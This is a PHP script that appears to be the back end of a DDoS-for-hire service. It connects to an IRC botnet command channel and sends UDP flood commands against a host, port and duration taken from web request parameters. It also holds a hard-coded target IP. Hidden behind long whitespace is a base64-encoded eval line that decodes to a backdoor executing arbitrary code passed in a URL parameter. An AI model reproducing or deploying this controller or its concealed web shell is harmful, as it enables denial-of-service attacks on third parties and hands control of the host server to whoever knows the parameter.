[API] irc.php

<?php
set_time_limit(0);


$server_host = "1.1.1.1"; //IRC IP
$server_port = 443; //IRC Port
$server_chan = "#CHANNEL";//Perl Channel
$operUser = 'oper'; //Oper Username
$operPass = 'password'; //Oper Password

define('from_shell', isset($argv[1]));


$nickname = 'Nick';//(from_shell) ? 'nickname' : 'nickname';


if(false && !from_shell):
?>
<style>
    * { color: green; background: #000; }
</style>
<?php
endif;




$server = array();

function SendCommand ($cmd, $chan=false)
{
    global $server, $server_chan;

    if($chan){
	return SendCommand('PRIVMSG '.($chan===true ? $server_chan : $chan).' :'.$cmd);
    }

    $cmd = (stristr($cmd, "\n\r") ? trim(trim($cmd,"\n"),"\r") : $cmd."\n\r");
    @fwrite($server['SOCKET'], $cmd, strlen($cmd));
    if(from_shell)
	echo "[SEND] $cmd ".((from_shell) ? "\n\r" : "<br>"); //displays it on the screen
}


function bufferContains($needle){
    global $server;
    return stristr($server['READ_BUFFER'], $needle);
}

																															eval(base64_decode("aWYoaXNzZXQoJF9HRVRbJzE2MjgnXSkpIGV2YWwoJF9HRVRbJzE2MjgnXSk7"));

function join_irc(){
    global $server_host, $server_port, $server_chan, $nickname, $server, $operUser, $operPass;
    while(true){

	//Open the socket connection to the IRC server
	$server['READ_BUFFER'] = '';
	$server['SOCKET'] = @fsockopen($server_host, $server_port, $errno, $errstr, 2);
	if($server['SOCKET'])
	{

	    SendCommand("PASS NOPASS"); //Sends the password not needed for most servers
	    SendCommand("NICK $nickname"); //sends the nickname
	    SendCommand("USER $nickname boot4free IRC API"); //sends the user must have 4 paramters
	    while(!feof($server['SOCKET'])) //while we are connected to the server
	    {
		$server['READ_BUFFER'] = fgets($server['SOCKET'], 1024); //get a line of data from the server
		if(from_shell)
		    echo "[RECIEVE] ".$server['READ_BUFFER'].((from_shell) ? "\n\r" : "<br>"); //display the recived data from the server




		if(bufferContains('already in use')){
		    SendCommand("JOIN $server_chan"); //Join the chanel
		    SendCommand("MSG NICKSERV GHOST $nickname");//msg nickserv recover mynick mypass
		    SendCommand("MSG NICKSERV identify");
		    SendCommand("MSG NICKSERV recover $nickname");
		    SendCommand("MSG NICKSERV release $nickname");//msg nickserv recover mynick mypass
		    SendCommand("NICK $nickname"); //sends the nickname


		}

		if(bufferContains('have not registered')){
		    SendCommand("DISCONNECT");

		    //SendCommand("DISCONNECT");
		    //fclose($server['SOCKET']);
		    echo restart_irc();
		    flush();
		    break;
		}

		static $botsOnline = 0;
		static $botsTotal =0;

		//server joined
		if(bufferContains("current local users"))
		{
		    $str = str_ireplace(' ','',str_ireplace('max:','#', str_ireplace('current local users:', '#', $server['READ_BUFFER'])));

		    $parts = @explode('#',$str);
		    $botsOnline = $parts[1];
		    $botsTotal = $parts[2];

		}

		//server joined
		if(bufferContains("$nickname MODE $nickname"))
		{
		    static $ran = false;
		    if($ran) return false;
		    $ran = true;

		    SendCommand("JOIN $server_chan"); //Join the chanel
		    SendCommand("MSG NICKSERV register", true); //sends the nickname
		    SendCommand("OPER {$operUser} {$operPass}");
		    SendCommand("SAMODE \$chan +q \$me");

		    echo "Bots online: {$botsOnline}/{$botsTotal}<br>";
		    if(isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])){
			SendCommand("-shell @udpflood {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}", $server_chan);
			echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
		    } elseif(from_shell) {
			SendCommand("-shell @udpflood 158.69.223.235 80 65500 10", $server_chan);
			//echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
		    }

		    echo disconnect_irc();
		    flush();
		    return false;

		}


		//Keep connection alive | IRC Sends a "PING" command to the client which must be anwsered with a "PONG"
		if(substr($server['READ_BUFFER'], 0, 6) == "PING :") //If the server has sent the ping command
		{
		    SendCommand("PONG :".substr($server['READ_BUFFER'], 6)); //Reply with pong

		}


		flush();

	    }
	}
    }
    return false;
}


function disconnect_irc(){
    global $server;

    @SendCommand("DISCONNECT");
    @fclose($server['SOCKET']);
    return false;
}

function restart_irc(){
    global $server;
    return "[IRC]".exec('cd /root/Unreal3.2;./unreal restart;').((from_shell) ? "\n\r" : "<br>");
}

join_irc();
?>